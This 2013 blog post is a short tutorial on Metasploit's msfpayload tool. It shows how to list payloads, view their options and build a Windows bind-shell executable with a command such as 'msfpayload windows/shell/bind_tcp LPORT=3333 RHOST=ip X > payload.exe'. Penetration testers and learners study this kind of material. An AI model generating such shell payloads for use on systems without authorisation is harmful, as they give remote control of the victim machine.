Saturday, April 20, 2013

msfpayload

msfpayload is a command-line instance of Metasploit that is used to generate and output all payload that are available in Metasploit.
To usage msfpayload type : msfpayload -h
Syntax : /opt/metasploit/msfpayload [options] payload [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>
So /opt/metasploit/msfpayload is the path (can change, depending of os)
Maybe could be /opt/metasploit/msf3/msfpayload
You must specify payload with full path.
You can know the full path of all avaiable payload type : msfpayload -l
For example : windows/shell/bind_tcp
Now you must know the options about your payload, so type : msfpayload fullpath O
Example : msfpayload windows/shell/bind_tcp O
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
LHOST no The listen address
Now we must create our payload specifying the payload's options
Example :
msfpayload windows/shell/bind_tcp LPORT=3333 RHOST=ip X > /home/HackForLulz/payload.exe
X = specify the type of payload : E(X)E , (P)ERL, RUB(y) and so on...
> /home/HackForLulz/payload.exe = specify where create our payload

If you have a problem or you need some explanations just write under this post!

No comments:

Post a Comment